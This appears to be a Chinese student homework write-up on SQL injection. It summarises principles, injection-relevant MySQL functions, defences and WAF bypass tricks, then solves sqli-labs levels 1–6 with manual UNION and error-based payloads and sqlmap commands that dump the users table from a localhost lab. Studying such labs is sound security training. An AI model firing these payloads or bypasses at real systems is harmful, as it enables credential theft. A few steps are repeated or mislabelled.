目录
1,总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法。
2.sqli-labs通关前5关,并写出解题步骤,必须手工过关,禁止使用sqlmap。
1,总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法。
SQL注入原理
SQL注入是一种针对Web应用程序数据库的安全漏洞攻击手段,其核心原理是通过向Web表单的输入域或页面请求的查询字符串中插入恶意SQL代码片段,欺骗数据库服务器执行非授权的数据库操作。这些操作可能包括查询、插入、更新或删除数据,从而导致数据泄露、篡改或丢失。SQL注入漏洞通常发生在Web应用程序对用户输入的数据没有进行充分的验证和过滤的情况下,导致攻击者能够控制并修改后端数据库执行的SQL语句
SQL注入常用函数及含义
信息获取函数
version()
: 返回数据库的版本信息。user()
: 返回当前数据库用户。database()
: 返回当前数据库名。@@basedir
: 返回数据库的安装路径。@@datadir
: 返回数据库文件存放路径。@@version_compile_os
: 返回操作系统版本。
字符串处理函数
concat()
: 拼接字符串。concat_ws()
: 使用指定分隔符拼接字符串。group_concat()
: 将多个行的列值连接成一个字符串。left()
,right()
,substr()
,mid()
: 用于字符串的截取。ascii()
: 返回字符串最左字符的ASCII值。
条件与逻辑函数
if()
: 根据条件返回不同的值。sleep()
: 使查询暂停指定的时间,常用于延时注入。
报错注入函数
updatexml()
,extractvalue()
: 用于XML文档的查询和修改,但可以在报错信息中泄露数据。floor()
,rand()
,exp()
: 结合使用可以造成数据库错误,从而泄露数据。
文件操作函数
load_file()
: 读取文件内容。into outfile
,into dumpfile
: 将查询结果写入文件。
SQL注入防御手段
- 使用预编译语句(Prepared Statements)和参数化查询: 这是预防SQL注入的最有效方法之一,可以确保SQL语句的结构在编译时就确定下来,之后传入的参数不会改变语句的结构。
- 使用存储过程: 存储过程也可以防止SQL注入,因为它们同样使用参数化查询。
- 使用ORM(对象关系映射)工具: 现代编程框架提供的ORM工具可以自动进行参数化查询,降低直接编写SQL语句的风险。
- 验证用户输入: 对所有用户输入进行验证,拒绝不符合预期格式的输入。
- 使用适当的错误处理机制: 不要在错误信息中透露敏感信息,以免给攻击者提供攻击线索。
- 限制数据库权限: 为应用程序使用的数据库账户只赋予必要的权限,避免使用具有高级权限的账户。
- 定期更新和打补丁: 保持数据库管理系统(DBMS)更新到最新,修补已知的安全漏洞。
- 使用Web应用防火墙(WAF): WAF可以帮助识别和阻挡SQL注入攻击。
- 定期进行安全审计和代码审查: 检查潜在的安全漏洞,及时修复。
SQL注入常用绕过WAF的方法
- 注释符号绕过: 攻击者可以在SQL语句中插入注释符号(如
--
、/* */
、#
)来隐藏或注释掉WAF检测到的关键部分,从而使恶意SQL代码能够执行。例如,在查询语句后添加-- -
来注释掉后续的SQL代码。 - 编码绕过: 攻击者可以使用不同的字符编码方式(如URL编码、Unicode编码等)来隐藏或变换恶意SQL代码,从而绕过WAF的检测。例如,将
admin
编码为%61%64%6D%69%6E
进行绕过。 - 大小写变换绕过: 利用数据库系统对SQL关键字大小写不敏感的特性,攻击者可以将SQL关键字的大小写进行变换,以绕过基于大小写过滤的WAF。例如,将
SELECT
写成SeLeCt
。 - 特殊字符和逻辑绕过: 攻击者可以通过在SQL语句中插入引号或其他特殊字符,或者利用逻辑漏洞(如使用
OR '1'='1
)来构造恶意SQL代码,从而绕过WAF的检测。 - 使用替代字符和函数: 攻击者可以使用替代字符(如
&&
代替AND
,||
代替OR
)或替代函数(如使用mid()
代替substr()
)来绕过WAF对特定字符或函数的拦截。 - 内联注释绕过: 使用MySQL特有的内联注释
/*! ... */
,这些注释在MySQL中会被执行,但在其他数据库中则会被忽略。攻击者可以利用这一点来绕过WAF的检测。 - 分块传输编码绕过: 利用HTTP协议的分块传输编码机制,将恶意SQL代码分散在多个数据包中发送,从而绕过WAF的检测。
- 污染特性绕过: 利用某些编程语言的特性(如PHP中的参数覆盖)或HTTP请求的特性(如POST和GET请求的差异),通过构造特殊的请求来绕过WAF的检测。
- 逻辑错误和异常处理绕过: 利用应用程序或数据库的逻辑错误(如错误处理机制中的信息泄露)或异常处理机制(如SQL错误导致的页面异常),通过触发这些错误来获取数据库信息或绕过WAF的检测。
- 工具和技术结合绕过: 使用自动化工具(如SQLMap)的绕过脚本或自定义脚本来绕过WAF的检测。这些脚本通常包含多种绕过技术,可以根据WAF的具体配置进行动态调整。
2.sqli-labs通关前5关,并写出解题步骤,必须手工过关,禁止使用sqlmap。
(第一关)
提示你输入数字值的ID作为参数,我们输入?id=1
通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了
接下来我们判断sql语句是否是拼接,且是字符型还是数字型。
可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。
首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的
获取当前数据名和版本号,通过结果知道当前数据看是security,版本是5.7.26
information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。发现username和password敏感字段
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。
(第二关)
和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入,将第一关的单引号去除重复步骤即可
先确定表格列数
发现第二和第三字段是有回显的
获取当前数据名和版本号,通过结果知道当前数据看是security,版本是5.7.26
爆表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆字段名
?id=-1 union select 1,2,group_concat(username ,id , password) from users--+
(第三关)
当我们在输入?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。
先确定哪些字段有回显
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
获取当前数据名和版本号
?id=-1') union select 1,database(),version()--+
爆表
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆字段名
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
该字段对应的内容
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
(第四关)
根据页面报错信息得知sql语句是双引号字符型且有括号
确定哪些字段有回显
?id=-1") union select 1,2,3--+
获取当前数据名和版本号
?id=-1") union select 1,database(),version()--+
爆表
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where
table_schema='security'--+
爆字段名
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
得到该字段对应的内容
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
(第五关)
尝试?id=1弹出第一个界面正常,?id=1’弹出第二个界面,报错可以看出有单引号,应该也是字符型注入,但题目提示还有双查询
尝试双查询注入获取数据库名称
?id=1' union select 1,count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2)) as a from information_schema.tables group by a --+
接下来数据库名有了就可以查询表名
?id=1' union select 1,count(*),concat_ws(':',(select table_name from information_schema.tables where table_schema='security'),floor(rand()*2)) as a from information_schema.tables group by a %23
使用limit限制返回结果一条一条的查看数据库中的字段
?id=1' union select 1,count(*),concat_ws(':',(select group_concat(column_name) from information_schema.columns where table_name='emails'),floor(rand()*2)) as a from information_schema.tables group by a %23
获取到数据表之后查询数据表的结构,也就是把数据表的字段名都查出来
?id=1' union select 1,count(*),concat_ws(':',(select group_concat(column_name) from information_schema.columns where table_name='emails'),floor(rand()*2)) as a from information_schema.tables group by a %23
3、SQLi手工注入步骤
1.识别注入点
输入测试:在应用的输入字段(如URL参数、表单输入等)中尝试输入特殊字符(如单引号'、双引号"、括号()等)。观察应用是否返回数据库错误信息,如语法错误或查询失败的提示。
逻辑测试:对于数字型注入点,可以尝试在URL后添加and 1=1和and 1=2,观察页面返回结果是否不同,以判断是否存在注入点。
2.判断注入类型
字符型与数字型:通过尝试输入特定的SQL语句(如admin' or '1'='1)判断是字符型注入还是数字型注入。
使用and 1=1和and 1=2:如果两者都能回显,则不是数字型注入。
3.判断闭合方式
输入特殊字符:在注入点尝试输入单引号',观察错误信息中的SQL语句结构,判断如何闭合SQL语句。
使用注释符:在SQL语句中尝试添加注释符(如--、#、/* */)来绕过原始SQL语句的剩余部分,观察是否成功。
猜解字段数量
使用order by:通过逐步增加order by子句中的数字,观察应用是否返回错误,从而确定表中的字段数量。
4.确定回显点
使用union联合查询:通过构造union select语句,将恶意查询与原始查询结果联合,通过控制union前面查询语句的错误或无效性,使后端数据库仅执行union后面的查询语句,从而确定数据回显的位置。
5.信息收集
获取数据库信息:利用SQL内置函数(如version()、database())获取数据库的版本和当前数据库名。
查询数据库表名和列名:通过查询information_schema数据库中的tables和columns表,获取当前数据库中的表名和列名。
6.提取数据
联合查询提取数据:利用已知的表名和列名,构造SQL查询语句,通过union select语句提取目标数据。
7.绕过安全限制
使用编码和绕过技术:当遇到空格过滤、特殊字符过滤等安全限制时,可以使用编码(如URL编码、十六进制编码)或绕过技术(如使用注释符、双写绕过等)来绕过这些限制。
4,使用sqlmap通过第六关
检测注入点python .\sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1
得出所有数据库名python .\sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id= --dbs
查看当前使用的数据库:python .\sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id= --current-db
获取表python .\sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1 -D security --tables
.获取字段python .\sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1 -D security -T users --columns
获取数据python .\sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1 -D security -T users -C id,username,password --dump